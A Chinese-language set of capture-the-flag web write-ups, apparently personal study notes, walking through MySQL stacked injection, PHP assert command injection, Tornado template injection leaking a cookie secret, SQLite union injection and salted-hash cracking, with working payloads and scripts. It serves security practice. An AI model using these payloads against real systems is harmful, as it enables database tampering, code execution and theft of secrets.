题目提示随便住,输入1’题目报错说多了一个分号,存在sql注入
输入1’#,返回正确
1’ order by 2#
1’ order by 3#,返回错误,说明有两列
联合查询,发现select字段被过滤了
当关键字被过滤时可以尝试堆叠注入
方法一:堆叠注入
-1’;show tables#,–+好像被过滤了
1、查看字段
-1’;show columns from 1919810931114514
; --+
-1’;show columns from words
; --+
参考师傅的博客,堆叠注入的话接下来的思路是:
2、查看值,需要绕过select的限制,我们可以使用预编译的方式
-1’;set @sql = CONCAT(‘se’,‘lect * from 1919810931114514
;’);prepare stmt from @sql;EXECUTE stmt;#
拆分开来如下:
-1’;
set @sql = CONCAT(‘se’,‘lect * from 1919810931114514
;’);
prepare stmt from @sql;
EXECUTE stmt; #
3、但是这里用strstr函数过滤了set和prepare关键词,但strstr这个函数并不能区分大小写,我们将其大写即可。
-1’;sEt @sql = CONCAT(‘se’,‘lect * from 1919810931114514
;’);prEpare stmt from @sql;EXECUTE stmt;#
这样flag就出来了
方法二:(一点点明白)
1.由上面的探测我们可以猜测出这里会查询出words表的data列的结果。也就是类似于下面的sql语句:
select * from words where id = ‘’;
2.我们将表1919810931114514名字改为words,flag列名字改为id,那么就能得到flag的内容了。
修改表名和列名的语法如下:
修改表名(将表名user改为users)alter table user rename to users;
修改列名(将字段名username改为name)alter table users change uesrname name varchar(30);
3.最终payload如下:
1’; alter table words rename to words1;alter table 1919810931114514
rename to words;alter table words change flag id varchar(50);#
拆分开来如下:
1’;
alter table words rename to words1;
alter table 1919810931114514
rename to words;
alter table words change flag id varchar(50);
4.然后使用1’ or 1=1#即可查询出flag
方法三:(这种方法简单实用)
使用handler查询,payload如下:
-1’;handler 1919810931114514
open;handler 1919810931114514
read first;#
方法四:另一种堆叠注入(思路很清晰,赞)
1、查询所有数据库
1’;show databases;–+
2、查询所有表:
1’;show tables; --+
3、查询words表中所有列:
1’;show columns from words; --+
1’;show columns from 1919810931114514
;#
4、分析:根据两个表的情况结合实际查询出结果的情况判断出words是默认查询的表,因为查询出的结果是一个数字加一个字符串,words表结构是id和data,传入的inject参数也就是赋值给了id
5、这道题没有禁用rename和alert,所以我们可以采用修改表结构的方法来得到flag 将words表名改为words1,再将数字名表改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
这段代码的意思是将words表名改为words1,1919810931114514表名改为words,将现在的words表中的flag列名改为id 然后用1’ or 1=1 #得到flag
提示:云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。
可以观察到url栏中有一个id,尝试爆破,id=2333时成功
看似复杂其实不难
打开页面,提示可能是要拿到flag就要获得足够多的钱
一个人可以不停地注册,注册后拥有$20
尝试修改最大长度为10绕过匹配,发现失效
那么如何获得足够多的钱呢?想了半天没有头绪,借鉴师傅的博客
robots.txt原本是用来限制爬虫的,原来还可以有这个功能,发现应该是git源码泄露,去github上下载GitHack
python GitHack.py http://xxx/.git/
在这里flag被当成了商品卖,得获得足够多的钱
其实这道题附件已经给出了源码,判断相等的数字个数时,用的是==,这不就是个弱类型漏洞吗,bool类型的true是可以和任何数据弱类型相等的
多go几次获得足够多的钱
根据提示,.git,可知存在源码泄露
了解了一款新的工具dirsearch,用它扫描一下,发现确实存在代码泄露
用GitHack扫描得到源码,index.php的关键代码如下
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
如果这个字符串中没有找到相应的子字符串 就返回false
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
源码里给了提示flag
assert() 检查一个断言是否为 FALSE,assert()函数会将括号中的字符当成代码来执行,并返回true或false。
strpos() 函数查找字符串在另一字符串中第一次出现的位置。
file_exists() 函数检查文件或目录是否存在。
若想得到flag,即得到"Detected hacking attempt!"
则需要给page传入的须满足
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false")
payload:
?page=abc') or system("cat templates/flag.php");//
$file = "templates/?page=abc') or system("cat templates/flag.php");//.php";
assert("strpos('templates/?page=abc') or system("cat templates/flag.php");//.php', '..') === false") or die("Detected hacking attempt!");
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function encode($str){
$_o=strrev($str);//strrev() 函数反转字符串。
// echo $_o;
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1);
$__=ord($_c)+1;//ord() 函数是 chr() 函数(对于8位的ASCII字符串)或 unichr() 函数(对于Unicode对象)的配对函数,它以一个字符(长度为1的字符串)作为参
数,返回对应的 ASCII 数值,或者 Unicode 数值,如果所给的 Unicode 字符超出
了你的 Python 定义范围,则会引发一个 TypeError 的异常。
$_c=chr($__);
$_=$_.$_c;
}
return str_rot13(strrev(base64_encode($_)));
}
highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/
?>
逆向代码:
<?php
$str='a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';
$_ = base64_decode(strrev(str_rot13($str)));
$_o=NULL;
for($_0=0;$_0<strlen($_);$_0++){
$_c=substr($_,$_0,1);
$__=ord($_c)-1;
$_c=chr($__);
$_o=$_o.$_c;
}
echo strrev($_o);
echo $_o;//
?>
http://111.198.29.45:50837/file?filename=/flag.txt&filehash=6cf3482aa63831fd126c5299ff05a191
http://111.198.29.45:50837/file?filename=/hints.txt&filehash=1252ddbcca2c9e9fcee3122cb57740c3
http://111.198.29.45:50837/file?filename=/welcome.txt&filehash=802a9acd3eddc77bdadfcc99cc5ecf36
也就是说我们要向读取到文件,payload是这样的:
file?filename=/fllllllllllllag&filehash=**********************
******************的内容是md5(cookie_secret+md5(/fllllllllllllag))
所以我们的差的就是cookie_secret了,下面开始拿cookie_secret
直接访问http://111.198.29.45:32805/file?filename=/fllllllllllllag,发现报错
参考师傅的博客
题目是easy_tornado,/welcome.txt页面也看到render,可能会是SSTI模板注入
验证:
传递error?msg={{2}},页面出现2
传递error?msg={{2*3}},页面出现ORZ(但并不是cookie)
尝试除和减操作符也是)返回ORZ,说明是操作符被过滤了。
那么tornado中的cookie通过模板注入要怎么拿到呢?
用的就是handler.settings对象
handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!
**传递error?msg={{ handler.settings }}**得到:
这样就拿到cookie_secret了
{‘autoreload’: True, ‘compiled_template_cache’: False, ‘cookie_secret’: ‘2741bf60-431a-4ffb-9d3f-68e83a6ec237’}
然后传递file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))
这样就拿到flag了。
在线md5加解密似乎不太靠谱的丫子,还是自己写一个python脚本
import hashlib
def md5value(s)://md5加密模板
md5 = hashlib.md5()
md5.update(s.encode())
return md5.hexdigest()
def mdfive2():
filename = '/fllllllllllllag'
cookie = r"2741bf60-431a-4ffb-9d3f-68e83a6ec237"
print(md5value(cookie + md5value(filename)))
mdfive2()
http://111.198.29.45:32805/file?filename=/fllllllllllllag&filehash=f597f5b6172d977f9c4f74a7fbca31f8
依次对这两个页面进行测试:
admin.php无论如何输入都没有什么反馈
login.php在username中输入1’ union select database()时报错:
可以看到是sqlite数据库,表的结构和查询函数和MySQL有所不同
http://111.198.29.45:53408/login.php?debug
<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
$user = $_POST['usr'];
$pass = $_POST['pw'];//通过POST接收usr和pw参数。没有做任何过滤,带入sql查询。若查询的结果id字段不为空,则执行setcookie操作,会将查询的结果name字段插入到cookie中。
$db = new SQLite3('../fancy.db');
$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
if($res){
$row = $res->fetchArray();
}
else{
echo "
Some Error occourred!";
}
if(isset($row['id'])){
setcookie('name',' '.$row['name'], time() + 60, '/');
header("Location: /");
die();
}
}
if(isset($_GET['debug']))
highlight_file('login.php');
?>
构造usr=’ union select name,sql from sqlite_master–+&pw=123
sqlite的注释符是--+
,带入查询后,sql注入的结果是:
SELECT id,name from Users where name=' ' UNION SELECT name, sql from sqlite_master--+ and password= 'chybeta'
从and
起后面部分被注释掉。利用union联合查询sqlite系统表(sqlite_master),得到的id值其实是表的名字(name),而得到的name值其实是创建表时的语句(sql)
sql是sqlite_master中的一个字段,注入时经常用到的
setcookie就是:
CREATE TABLE Users(
id int primary key,
name varchar(255),
password varchar(255),
hint varchar(255)
)
移位查询获取表中数据
usr=%27 UNION SELECT id, id from Users limit 0,1–+&pw=chybeta
usr=%27 UNION SELECT id, name from Users limit 0,1–+&pw=chybeta
usr=%27 UNION SELECT id, password from Users limit 0,1–+&pw=chybeta
usr=%27 UNION SELECT id, hint from Users limit 0,1–+&pw=chybeta
(改成limit 2,1就能查id为2的用户,最后一共3个用户)
这里的提示应该是说在fav paper中找到一个词+Salz之后sha1得到的值为34b0bb7c304949f9ff2fc101eef0f048be10d3bd, 那首先要找到fav paper,不然就干脆每篇文章都搞过去 看了一会儿文章我表示放弃… 决定写个脚本把pdf里面的词都提出来, 先用wget把pdf down下来:
wget ip -r -np -nd -A .pdf
-r:层叠递归处理
-np:不向上(url 路径)递归
-nd:不创建和 web 网站相同(url 路径)的目录结构
-A type:文件类型
爬取站点中所有的pdf文件,总共30个,然后用脚本进行解析处理,并用sha1函数与加密的密码进行碰撞已找出正确的密码,拿大佬的脚本,pdfplumber 库比较好用,代码也很简洁,PDF表格内的文字也可以提取(python 3.7)
#!/usr/bin/python
# coding = utf-8
import hashlib
import re
import os
import pdfplumber
import requests
from bs4 import BeautifulSoup
# 递归爬取URL
def get_url(url):
try:
r = requests.get(url)
r.raise_for_status()
soup = BeautifulSoup(r.text,'html.parser')
tag_a_lst = soup.find_all('a')
link_set = set()
for i in tag_a_lst:
if ('../../' not in i['href']) and \
('8/index' not in i['href']) :
# 去掉 URL 中的‘index.html'
href = url[:-10] + i['href']
link_set.add(href)
if ('pdf' not in href) and \
(i['href'] != 'index.html'):
link_set.update(get_url(href))
link_set.discard(href)
return link_set
except:
print('get url error')
return {}
# 下载PDF文件
def download(url,path):
save_path = path + url.split('/')[-1]
try:
r = requests.get(url)
r.raise_for_status()
with open(save_path,'wb') as file:
file.write(r.content)
file.close()
except:
print('download error')
# PDF文字提取到txt文件
def pdf_to_txt(pdf_file,txt_file):
try:
pdf = pdfplumber.open(pdf_file)
with open(txt_file, 'w+',encoding='UTF-8') as file:
for page in pdf.pages:
# 逐页提取文字
contents = page.extract_text()
file.write(contents)
file.close()
pdf.close()
except:
print('convert error')
def main():
url = 'http://111.198.29.45:31745/index.html'
root = 'D:/pdf_download/'
link_lst = get_url(url)
for link in link_lst:
download(link,root)
file_lst = os.listdir(root)
r = re.compile('[\w]+')
for i in range(1,len(file_lst)):
pdf_file = root + file_lst[i-1]
txt_file = root+'txt/%d.txt'%i
pdf_to_txt(pdf_file,txt_file)
with open(txt_file,'r', encoding='utf-8') as file:
f = file.read()
words_lst = r.findall(f)
for j in words_lst:
pw = j + "Salz!"
encode = hashlib.sha1(pw.encode('utf-8')).hexdigest()
if encode == "3fab54a50e770d830c0416df817567662a9dc85c":
print("password is :",j)
break
if __name__ == '__main__':
main()
得到密码为ThinJerboa,登陆admin.php,得到flag